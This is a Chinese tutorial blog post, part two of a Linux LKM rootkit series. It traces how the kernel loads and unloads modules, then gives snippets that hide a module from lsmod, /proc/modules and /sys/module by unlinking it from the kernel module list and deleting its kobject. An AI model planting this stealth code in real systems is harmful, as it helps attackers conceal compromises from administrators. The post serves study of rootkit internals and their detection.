Linux Rootkit之二:Linux模块加载与信息隐藏

来源:互联网 发布:品牌授权网络销售合同 编辑:程序博客网 时间:2024/05/21 19:38
    LKM Rootkit是通过向系统中加载内核模块实现的。模块加载到系统后会增加一些可供系统探知其存在的信息,而这些信息正是Rootkit希望隐藏起来的。为了明确Linux模块向系统注册的信息以及隐藏方法,首先研究一下Linux模块加载的过程。

2.1 代码示例

    在Linux系统下创建一个名为rl_module.c的文件,填入如下内容:

#include <linux/init.h>#include <linux/module.h>#include <linux/fs.h>#include <linux/cdev.h>#include <linux/syscalls.h>#include <linux/kernel.h>#include <linux/sched.h>#include <linux/netdevice.h>#include <linux/list.h>MODULE_LICENSE("Dual BSD/GPL");static int __init rl_init(void){    printk("RL Module init!\n");return 0;}static void __exit rl_exit(void){    printk("RL Module exit!\n");}module_init(rl_init);module_exit(rl_exit);

        再创建一个Makefile文件,填入如下内容:

## Makefile for linux/drivers/platform/x86# x86 Platform-Specific Drivers#MODULE_NAME = rootkit-linuxifneq ($(KERNELRELEASE),)obj-m := $(MODULE_NAME).o $(MODULE_NAME)-objs := rl_module.oelseKERNELDIR ?= /lib/modules/$(shell uname -r)/build#KERNELDIR ?= /usr/src/linux  PWD := $(shell pwd) default: $(MAKE) -C $(KERNELDIR) M=$(PWD) modulesendifclean:rm *.o *.ko *.symvers *.order .*.cmd *.markers $(MODULE_NAME).mod.c .tmp_versions -rf

    执行make,会得到名为rootkit-linux.ko的文件。

执行insmod命令加载模块:

#insmod rootkit-linux.ko

dmesg命令查看内核信息,会找到“RLModule init!”使用sys文件系统或lsmod也会查到rootkit-linux模块的信息:

使用rmmod命令可以卸载模块:


2.2模块加载流程

代码示例中所描述的是实现在Linux下加载模块的通常方法。这时出现几个问题:使用insmodmodprobe命令加载模块时Linux内核都做了哪些工作?模块中用module_initmodule_exit注册的函数是如何被调用的?要解答这些问题就需要了解Linux模块加载的流程。

2.2.1module_init函数和module_exit

Linux模块需要用module_init函数注册模块初始化函数,这个函数会在模块加载时由系统调用;用module_exit函数注册模块卸载函数,这个函数会在模块卸载时被调用。

include/linux/init.h中,module_initmodule_exit有两个定义,一个在MODULE宏没有定义时生效,一个MODULE宏被定义时生效。在模块中MODULE宏会被定义,来看看这种情况下的定义:

296 /* Each module must use one module_init(). */297 #define module_init(initfn)                 \298     static inline initcall_t __inittest(void)       \299     { return initfn; }                  \300     int init_module(void) __attribute__((alias(#initfn)));301 302 /* This is only required if you want to be unloadable. */303 #define module_exit(exitfn)                 \304     static inline exitcall_t __exittest(void)       \305     { return exitfn; }                  \306     void cleanup_module(void) __attribute__((alias(#exitfn)));

可见module_initmodule_exit宏是将它们的入参函数分别重命名为init_modulecleanup_module

代码编译完毕后生成的rootkit-linux.ko文件的格式是ELF。由于__init的作用,rl_init函数的代码被放在.init.text中,__exit也会把rl_exit函数的代码在.exit.text段中。

模块编译时MODPOST还会自动为模块生成一个.mod.c文件,并将其编译进模块中。看看rootkit-linux.mod.c的内容:

#include <linux/module.h>#include <linux/vermagic.h>#include <linux/compiler.h>MODULE_INFO(vermagic, VERMAGIC_STRING);__visible struct module __this_module__attribute__((section(".gnu.linkonce.this_module"))) = {.name = KBUILD_MODNAME,.init = init_module,#ifdef CONFIG_MODULE_UNLOAD.exit = cleanup_module,#endif.arch = MODULE_ARCH_INIT,};static const struct modversion_info ____versions[]__used__attribute__((section("__versions"))) = {{ 0x53a8e63d, __VMLINUX_SYMBOL_STR(module_layout) },{ 0x703dfdb2, __VMLINUX_SYMBOL_STR(kobject_del) },{ 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) },};static const char __module_depends[]__used__attribute__((section(".modinfo"))) ="depends=";MODULE_INFO(srcversion, "7442B95A1D1CA4E76F4EB51");

可见MODPOST会生成一个__this_module结构,其类型为structmodule,其init成员指向init_moduleexit成员指向cleanup_module__this_module结构的代码会被编译到ELF文件中名为“.gnu.linkonce.this_module”的段中。后续在分析模块加载和卸载函数时我们会看到这个段的作用。

2.2.2模块加载函数

Insmodmodprobe命令对应的内核函数是sys_init_module

3334 SYSCALL_DEFINE3(init_module, void __user *, umod,3335         unsigned long, len, const char __user *, uargs)3336 {3337     int err;3338     struct load_info info = { };   3339     //检查进程权能和内核设置是否允许加载模块3340     err = may_init_module();3341     if (err)     3342         return err;3343 3344     pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n",3345            umod, len, uargs);3346     //将模块ELF文件copy到临时镜像info中3347     err = copy_module_from_user(umod, len, &info);3348     if (err)3349         return err;3350     //加载模块3351     return load_module(&info, uargs, 0);3352 }

加载模块的功能主要由load_module函数完成:

3200 static int load_module(struct load_info *info, const char __user *uargs,3201                int flags)3202 {3203     struct module *mod;3204     long err;3205      //模块签名检查3206     err = module_sig_check(info);3207     if (err)3208         goto free_copy;3209     //ELF文件头格式检查3210     err = elf_header_check(info);3211     if (err)3212         goto free_copy;3213     //为ELF文件的各个section分配内存空间3214     /* Figure out module layout, and allocate all the memory. */3215     mod = layout_and_allocate(info, flags);  //mod中包含了模块信息3216     if (IS_ERR(mod)) {3217         err = PTR_ERR(mod);3218         goto free_copy;3219     }3220 3221     /* Reserve our place in the list. */3222     err = add_unformed_module(mod); //检查是否有同名模块已加载,如果没有则将mod加入到链表中3223     if (err)3224         goto free_module;3225 3226 #ifdef CONFIG_MODULE_SIG3227     mod->sig_ok = info->sig_ok;3228     if (!mod->sig_ok) {3229         printk_once(KERN_NOTICE3230                 "%s: module verification failed: signature and/or"3231                 " required key missing - tainting kernel\n",3232                 mod->name);3233         add_taint_module(mod, TAINT_FORCED_MODULE, LOCKDEP_STILL_OK);3234     }3235 #endif3236 3237     /* To avoid stressing percpu allocator, do this once we're unique. */3238     err = alloc_module_percpu(mod, info); //申请每CPU类型的内存空间3239     if (err)3240         goto unlink_mod;3241 3242     /* Now module is in final location, initialize linked lists, etc. */3243     err = module_unload_init(mod);  //初始化卸载模块相关的成员变量3244     if (err)3245         goto unlink_mod;3246 3247     /* Now we've got everything in the final locations, we can3248      * find optional sections. */3249     find_module_sections(mod, info);  //初始化其它类型的字段3250 3251     err = check_module_license_and_versions(mod);  //检查模块的许可证和版本信息3252     if (err)3253         goto free_unload;3254 3255     /* Set up MODINFO_ATTR fields */3256     setup_modinfo(mod, info);3257 3258     /* Fix up syms, so that st_value is a pointer to location. */3259     err = simplify_symbols(mod, info);3260     if (err < 0)3261         goto free_modinfo;3262     //地址重定位3263     err = apply_relocations(mod, info);3264     if (err < 0)3265         goto free_modinfo;3266 3267     err = post_relocation(mod, info);3268     if (err < 0)3269         goto free_modinfo;3270     //清除指令cache3271     flush_module_icache(mod);3272 3273     /* Now copy in args */3274     mod->args = strndup_user(uargs, ~0UL >> 1);3275     if (IS_ERR(mod->args)) {3276         err = PTR_ERR(mod->args);3277         goto free_arch_cleanup;3278     }3279 3280     dynamic_debug_setup(info->debug, info->num_debug);3281 3282     /* Finally it's fully formed, ready to start executing. */3283     err = complete_formation(mod, info);  //进一步检查导出符号3284     if (err)3285         goto ddebug_cleanup;3286 3287     /* Module is ready to execute: parsing args may do that. */3288     err = parse_args(mod->name, mod->args, mod->kp, mod->num_kp,3289              -32768, 32767, &ddebug_dyndbg_module_param_cb);3290     if (err < 0)3291         goto bug_cleanup;3292 3293     /* Link in to syfs. *///在sys系统中注册模块信息3294     err = mod_sysfs_setup(mod, info, mod->kp, mod->num_kp);3295     if (err < 0)3296         goto bug_cleanup;3297 3298     /* Get rid of temporary copy. */3299     free_copy(info);3300 3301     /* Done! */3302     trace_module_load(mod);3303 3304     return do_init_module(mod);

这里layout_and_allocate函数的功能十分重要,它返回了一个structmodule指针,这个指针包含了要加载的模块的信息,包括名称、初始化函数、卸载函数。layout_and_allocate是如何找到这些信息的呢?

2926 static struct module *layout_and_allocate(struct load_info *info, int flags)2927 {2928     /* Module within temporary copy. */2929     struct module *mod;2930     int err;2931 2932     mod = setup_load_info(info, flags);...2955     /* Allocate and move to the final place */2956     err = move_module(mod, info);2957     if (err)2958         return ERR_PTR(err);2959 2960     /* Module has been copied to its final place now: return it. */2961     mod = (void *)info->sechdrs[info->index.mod].sh_addr;2962     kmemleak_load_module(mod, info);2963     return mod;2964 }

layout_and_allocate函数将info->sechdrs[info->index.mod].sh_addr强制转换为mod并返回。那么info->sechdrs是什么?info->index.mod是什么?sh_addr代表什么?来看setup_load_info函数:

2642 static struct module *setup_load_info(struct load_info *info, int flags)2643 {2644     unsigned int i;2645     int err;2646     struct module *mod;2647 2648     /* Set up the convenience variables */2649     info->sechdrs = (void *)info->hdr + info->hdr->e_shoff;2650     info->secstrings = (void *)info->hdr2651         + info->sechdrs[info->hdr->e_shstrndx].sh_offset;2652 2653     err = rewrite_section_headers(info, flags);…2668     info->index.mod = find_sec(info, ".gnu.linkonce.this_module");2669     if (!info->index.mod) {2670         printk(KERN_WARNING "No module found in object\n");2671         return ERR_PTR(-ENOEXEC);2672     }2673     /* This is temporary: point mod into copy of data. */2674     mod = (void *)info->sechdrs[info->index.mod].sh_addr;…2688     return mod;2689 }

代码解析:

2649:info->hdrELF文件首地址,指向ELF文件头信息;nfo->hdr->e_shoffELF的段表(section)在文件中的偏移;info->sechdrs执行的是ELFsection table的首地址。Sectiontable是一个结构体数组,描述了ELF各个section的信息。

2653rewrite_section_headers函数会重写各个sectionsh_addr

2596 static int rewrite_section_headers(struct load_info *info, int flags)2597 {2598     unsigned int i;2599 2600     /* This should always be true, but let's be sure. */2601     info->sechdrs[0].sh_addr = 0;2602     //遍历所有section2603     for (i = 1; i < info->hdr->e_shnum; i++) {2604         Elf_Shdr *shdr = &info->sechdrs[i]; //得到section头...2612         /* Mark all sections sh_addr with their address in the2613            temporary image. */  //将section内容的首地址赋给sh_addr2614         shdr->sh_addr = (size_t)info->hdr + shdr->sh_offset;…

回到setup_load_info函数。

2668:找到名为".gnu.linkonce.this_module"section在段表结构体数组中的下标。

2674:使mod指针指向".gnu.linkonce.this_module"section的代码首地址;这个section的代码就是前面介绍的在编译内核时由MODPOST生成的__this_module

结构的代码,这样mod就指向了这个__this_module结构,从而得到了模块的名称、初始化函数和卸载函数等信息。

setup_load_info函数返回的mod指针指向的是临时镜像,接下来还需要layout_and_allocate函数调用move_module函数将mod的信息转移到永久镜像中:

2796 static int move_module(struct module *mod, struct load_info *info)2797 {2798     int i;2799     void *ptr;2800 2801     /* Do the allocs. */2802     ptr = module_alloc_update_bounds(mod->core_size);2803     /*2804      * The pointer to this block is stored in the module structure2805      * which is inside the block. Just mark it as not being a2806      * leak.2807      */2808     kmemleak_not_leak(ptr);2809     if (!ptr)2810         return -ENOMEM;2811 2812     memset(ptr, 0, mod->core_size);2813     mod->module_core = ptr;2814 2815     if (mod->init_size) {2816         ptr = module_alloc_update_bounds(mod->init_size);2817         /*2818          * The pointer to this block is stored in the module structure2819          * which is inside the block. This block doesn't need to be2820          * scanned as it contains data and code that will be freed2821          * after the module is initialized.2822          */2823         kmemleak_ignore(ptr);2824         if (!ptr) {2825             module_free(mod, mod->module_core);2826             return -ENOMEM;2827         }2828         memset(ptr, 0, mod->init_size);2829         mod->module_init = ptr;2830     } else2831         mod->module_init = NULL;2832 2833     /* Transfer each section which specifies SHF_ALLOC */2834     pr_debug("final section addresses:\n");2835     for (i = 0; i < info->hdr->e_shnum; i++) {2836         void *dest;2837         Elf_Shdr *shdr = &info->sechdrs[i];2838 2839         if (!(shdr->sh_flags & SHF_ALLOC))  //忽略不能申请内存的段2840             continue;2841 2842         if (shdr->sh_entsize & INIT_OFFSET_MASK)  //.init段这个判断为真2843             dest = mod->module_init2844                 + (shdr->sh_entsize & ~INIT_OFFSET_MASK);2845         else2846             dest = mod->module_core + shdr->sh_entsize;2847 2848         if (shdr->sh_type != SHT_NOBITS)  //段在文件中有内容2849             memcpy(dest, (void *)shdr->sh_addr, shdr->sh_size);  //将临时镜像中的内容copy到永久镜像中2850         /* Update sh_addr to point to copy in image. */2851         shdr->sh_addr = (unsigned long)dest;  //更新段内容首地址2852         pr_debug("\t0x%lx %s\n",2853              (long)shdr->sh_addr, info->secstrings + shdr->sh_name);2854     }2855 2856     return 0;2857 }

move_module函数会建立两端连续内存,将.init段的代码copymod->module_init指向的内存中,其它段的代码copymod->module_core指向的内存中。mod->module_init指向的内存在模块加载完成后就会释放。__this_module所对应的段也会被copy到永久镜像中,其内容首地址会被传递给mod

最后do_init_module函数中会执行模块初始化代码:

3034 static int do_init_module(struct module *mod)3035 {3036     int ret = 0;…3061     if (mod->init != NULL)3062         ret = do_one_initcall(mod->init);…3119     module_free(mod, mod->module_init);  //释放mod->module_init执行的内存3120     mod->module_init = NULL;3121     mod->init_size = 0;3122     mod->init_ro_size = 0;3123     mod->init_text_size = 0;3124     mutex_unlock(&module_mutex);3125     wake_up_all(&module_wq);3126 3127     return 0;3128 }

下面总结一下Linux模块加载的主要过程:

1)将模块的ELF文件copy到内核申请的临时镜像中;

2)建立一个structmodule结构体指针,指向模块编译时生成的__this_module结构体,这个结构体初始化了模块初始化函数和卸载函数等成员;

3)将临时镜像中的各个段copy到永久镜像中,永久镜像的地址保存在structmodule结构体中;

4)将structmodule结构体加入到内核模块链表中;

5)根据永久镜像的起始地址和各个段的偏移重定向代码段中的指针;

6)向sys文件系统注册模块信息;

7)释放临时镜像;

8)执行模块通过module_init函数注册的初始化函数的代码。

2.2.3模块卸载函数

模块卸载的命令rmmod对应内核的函数是sys_delete_module:

 823 SYSCALL_DEFINE2(delete_module, const char __user *, name_user, 824         unsigned int, flags) 825 { 826     struct module *mod; 827     char name[MODULE_NAME_LEN]; 828     int ret, forced = 0;… 840     mod = find_module(name); 841     if (!mod) { 842         ret = -ENOENT; 843         goto out; 844     } 845  846     if (!list_empty(&mod->source_list)) { 847         /* Other modules depend on us: get rid of them first. */ 848         ret = -EWOULDBLOCK; 849         goto out; 850     }... 883     mutex_unlock(&module_mutex); 884     /* Final destruction now no one is using it. */ 885     if (mod->exit != NULL) 886         mod->exit(); //调用模块用module_exit注册的卸载函数 887     blocking_notifier_call_chain(&module_notify_list, 888                      MODULE_STATE_GOING, mod); 889     async_synchronize_full(); 890  891     /* Store the name of the last unloaded module for diagnostic purposes */ 892     strlcpy(last_unloaded_module, mod->name, sizeof(last_unloaded_module)); 893  894     free_module(mod); 895     return 0;

        free_module函数:

1861 static void free_module(struct module *mod)1862 {1863     trace_module_free(mod);1864 1865     mod_sysfs_teardown(mod);   //注销在sys文件系统中的信息1866 1867     /* We leave it in list to prevent duplicate loads, but make sure1868      * that noone uses it while it's being deconstructed. */1869     mod->state = MODULE_STATE_UNFORMED;1870 1871     /* Remove dynamic debug info */1872     ddebug_remove_module(mod->name);1873 1874     /* Arch-specific cleanup. */1875     module_arch_cleanup(mod);1876 1877     /* Module unload stuff */1878     module_unload_free(mod);1879 1880     /* Free any allocated parameters. */1881     destroy_params(mod->kp, mod->num_kp);1882 1883     /* Now we can delete it from the lists */1884     mutex_lock(&module_mutex);1885     stop_machine(__unlink_module, mod, NULL);  //将模块从链表中摘除1886     mutex_unlock(&module_mutex);1887 1888     /* This may be NULL, but that's OK */1889     unset_module_init_ro_nx(mod);1890     module_free(mod, mod->module_init);1891     kfree(mod->args);1892     percpu_modfree(mod);1893 1894     /* Free lock-classes: */1895     lockdep_free_key_range(mod->module_core, mod->core_size);1896 1897     /* Finally, free the core (containing the module structure) */1898     unset_module_core_ro_nx(mod);1899     module_free(mod, mod->module_core);  //释放内存1900 1901 #ifdef CONFIG_MPU1902     update_protections(current->mm);1903 #endif1904 }

2.3模块信息隐藏

2.3.1 THIS_MODULE

模块要想隐藏自身的信息,必须能够使用自己的structmodule数据结构。内核提供了THIS_MODULE宏来实现这一功能,看看这个宏的定义:

 32 #ifdef MODULE 33 extern struct module __this_module; 34 #define THIS_MODULE (&__this_module)

可见THIS_MODULE就是模块的__this_module结构体的指针,这个指针的值与模块对应的structmodule数据结构的值是一样的。

2.3.2 lsmod信息隐藏

lsmod命令行的实现原理是读取并整理/proc/modules的信息。而/proc/modules的信息来源是内核中保存模块信息的链表。只要将模块从这个链表中摘除就可以清除/proc/modules中对应的信息,lsmod也无法查询到模块。

参考模块卸载的代码,将下列片段加入模块中:

 static int __init rl_init(void) {...     //对lsmod命令隐藏模块名称    mutex_lock(&module_mutex);    list_del_init(&THIS_MODULE->list)    mutex_unlock(&module_mutex);...
编译、加载模块、查询模块:


2.3.3sys系统信息隐藏

Sys文件系统比较复杂,这里不做过多探讨,但可以提供一种方法隐藏模块的sys信息(可能不完善):

 static int __init rl_init(void) {...    //从/sys/module/目录下隐藏模块#ifdef CONFIG_SYSFS    kobject_del(&THIS_MODULE->mkobj.kobj);#endif<span style="font-size:14px;">...</span>
编译后加载模块,查询sys/module目录,会发现rootkit_linux目录并不存在。

2.3.4 其它信息的隐藏

Linux Rootkit对特定文件以及进程信息的隐藏可以用系统调用劫持技术实现。

0 0
原创粉丝点击